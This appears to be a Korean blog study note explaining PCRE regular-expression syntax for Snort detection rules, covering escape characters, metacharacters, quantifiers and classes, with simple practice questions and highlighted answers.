&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdjQgz/btsOtqKfLHt/dE3GzeK3B5r3ZOko5HJti0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdjQgz/btsOtqKfLHt/dE3GzeK3B5r3ZOko5HJti0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdjQgz/btsOtqKfLHt/dE3GzeK3B5r3ZOko5HJti0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdjQgz%2FbtsOtqKfLHt%2FdE3GzeK3B5r3ZOko5HJti0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;228&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;228&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정규표현식(PCRE)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기본 특징&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 펄 호환 정규표현식(Perl Compatible Regular Expression)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스노트 패턴 탐지 옵션 &lt;b&gt;Content를 보완&lt;/b&gt;하고 &lt;b&gt;정확도를 높이는 데 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- PCRE의 시작과 끝은 &lt;b&gt;구분자(/)&lt;/b&gt;로 결정 &amp;rarr; pcre:&quot;/표현식/옵션&quot;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 테스터 사이트: &lt;a href=&quot;https://www.debuggex.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.debuggex.com&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1749483621062&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Debuggex: Online visual regex tester. JavaScript, Python, and PCRE.&quot; data-og-description=&quot;View Cheatsheet Visual ModeText Mode {{nfaModel.error.msg}} &amp;nbsp; Result: Matches Does not match starting at the black triangle slider&quot; data-og-host=&quot;www.debuggex.com&quot; data-og-source-url=&quot;https://www.debuggex.com&quot; data-og-url=&quot;https://www.debuggex.com&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.debuggex.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.debuggex.com&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Debuggex: Online visual regex tester. JavaScript, Python, and PCRE.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;View Cheatsheet Visual ModeText Mode {{nfaModel.error.msg}} &amp;nbsp; Result: Matches Does not match starting at the black triangle slider&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.debuggex.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식 테스트 사이트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://regexr.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://regexr.com/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이스케이프 기호&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;기호&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%; text-align: center;&quot;&gt;&lt;b&gt;의미&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%; text-align: center;&quot;&gt;&lt;b&gt;예제&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\\&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;역슬래쉬 문자 자체&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;\&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\n&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;줄바꿈(Line feed), 커서를 다음 줄로 이동&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\r&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;캐리지 리턴(Carrage Return), 커서를 맨 앞줄로 이동&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\t&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;탭(Tab)&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\v&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;수직 탭(Vertical Tab)&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\f&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;폼 피드(Form Feed), 다음 페이지로 넘어 가기&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\'&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;작은 따옴표(Single Quote)&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;'&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\&quot;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;큰 따옴표(Double Quote)&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\d&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;모든 숫자&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;== [0-9]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\D&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;숫자가 아닌 문자 [^0-9]&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;== [^0-9]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\s&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;공백&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;== [\t\n\r\f\v]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\S&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;공백이 아닌 문자&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;== [^\t\n\r\f\v]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\w&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;_ 를 포함한 숫자 또는 문자&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;== [A-Za-z0-9_]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\W&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;숫자 또는 문자가 아닌 것&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;== [^A-Za-z0-9_]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\b&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;단어와 공백 사이를 찾음&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;ab\b --&amp;gt; nnn&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ab&lt;/b&gt;&lt;/span&gt; (O) / nnn&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ab&lt;/b&gt;&lt;/span&gt;n (X)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;[\b]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;back space, \b와 혼동하면 안됨&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center;&quot;&gt;&lt;b&gt;\B&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 48.217%;&quot;&gt;단어의 경계가 아님&lt;/td&gt;
&lt;td style=&quot;width: 35.8915%;&quot;&gt;ab\B --&amp;gt; nnn&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ab&lt;/b&gt;&lt;/span&gt; (X) / nnn&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ab&lt;/b&gt;&lt;/span&gt;n (O)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;메타문자&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기능(의미)를 가지는 문자 \t \n \r \b&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클래스 [ ] : 괄호 안의 문자 중 하나를 찾는다. [abc] : a, b, c 중 하나, [a-z] : 알파벳 소문자 중 하나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서브 패턴 ( ) : 문자열을 하나로 묶음(특정 패턴을 묶어서 반복 기호등과 함께 사용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 수량자 { } : 앞 문자가 몇 번 반복되는지, \d{1,3}: 1자리, 2자리, 3자리 숫자 의미&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;b&gt;문자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%; text-align: center;&quot;&gt;&lt;b&gt;의미&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;b&gt;문자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%; text-align: center;&quot;&gt;&lt;b&gt;의미&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;b&gt;\&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%;&quot;&gt;이스케이프 문자&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;+&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;1번 이상&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;b&gt;^&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%;&quot;&gt;문자열 시작&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;b&gt;[&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%;&quot;&gt;클래스 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;b&gt;$&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%;&quot;&gt;문자열 끝&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;b&gt;]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%;&quot;&gt;클래스 끝&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;임의의 문자 하나&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%;&quot;&gt;서브 패턴 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;b&gt;|&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%;&quot;&gt;OR 연산&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%;&quot;&gt;서브 패턴 끝&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;?&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;0번 또는 1번만&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%;&quot;&gt;수량자 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.65121%; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;*&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.3488%;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;0번 또는 1번 이상&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 9.30233%; text-align: center;&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 40.6977%;&quot;&gt;수량자 끝&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 풀이 - 메타 문자&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제1) pcre:&quot;/a.a/&quot; 가 탐지 할 수 있는 경우를 찾으시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Aaa&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span style=&quot;color: #ee2323;&quot;&gt;aTa&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;span style=&quot;color: #ee2323;&quot;&gt;aTa&lt;/span&gt;t&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제2) pcre:&quot;/(one|two) apple/&quot; 가 탐지 할 수 있는 경우를 찾으시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;one apple&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. one&lt;span style=&quot;color: #ee2323;&quot;&gt;two apple&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. apple&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제3) pcre:&quot;/boan?/&quot;가 탐지 할 수 있는 경우를 찾으시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;boan&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span style=&quot;color: #ee2323;&quot;&gt;boa&lt;/span&gt;an&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;span style=&quot;color: #ee2323;&quot;&gt;boa&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제4) pcre:&quot;/pro*ject/&quot;가 탐지 할 수 있는 경우를 찾으시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;project&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span style=&quot;color: #ee2323;&quot;&gt;prject&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. projject&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제5) pcre:&quot;/boan+project/&quot;가 탐지 할 수 있는 경우를 찾으시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;boanproject&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. boanpproject&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;span style=&quot;color: #ee2323;&quot;&gt;boannproject&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수량자 및 클래스 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 수량자는 설정한 패턴이나 클래스의 반복 횟수를 결정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 수량자는 &lt;b&gt;{ }&lt;/b&gt; 안에 값을 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클래스는 탐지할 패턴을 결정하며 &lt;b&gt;[ ]&lt;/b&gt; 안에 값을 결정&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 182px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;수량자/클래스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;의미&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;{n}&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;앞선 문자나 클래스가 n개 존재하는 문자열 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;{n,}&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;앞선 문자나 클래스가 n개 이상 존재하는 문자열 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;{n,m}&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;앞선 문자나 클래스가 n개 이상 m개 이하 만큼 존재하는 문자열 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;[abc]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;a,b,c 중 하나라도 속한 문자열 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;[a-z]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;소문자 a부터 z까지 하나라도 속한 문자열 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;[A-Z]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;대문자 A부터 Z까지 하나라도 속한 문자열 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;[0-9]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;숫자 0부터 9까지 하나라도 속한 문자열 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;[A-Za-z0-9]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;모든 단어 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;[\f\r\t\n\v]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;모든 공백 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 26.5116%; height: 16px;&quot;&gt;&lt;b&gt;[^0-9]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 73.4884%; height: 16px;&quot;&gt;숫자가 아닌 모든 문자 검색(클래스 내의 ^는 부정을 의미)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 풀이 - 수량자 및 클래스 사용&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제1) pcre:&quot;/[A-Z]{3}/&quot; 가 탐지 할 수 있는 경우를 찾으시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. aaA&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span style=&quot;color: #ee2323;&quot;&gt;ABC&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. A-Z3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제2) 클래스를 사용하여 숫자 9가 4개 이상 포함된 문자열을 찾는 정규식을 만드시오.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr;&lt;span style=&quot;color: #ee2323;&quot;&gt; pcre:&quot;/9{4,}/&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예제3) pcre:&quot;/bo{2,4}an/&quot; 가 탐지 할 수 있는 경우를 찾으시오&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;booan&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. boan&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;span style=&quot;color: #ee2323;&quot;&gt;booooan&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PCRE 옵션&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 메타 문자 이외에 추가적인 기능을 하는 옵션&lt;/p&gt;
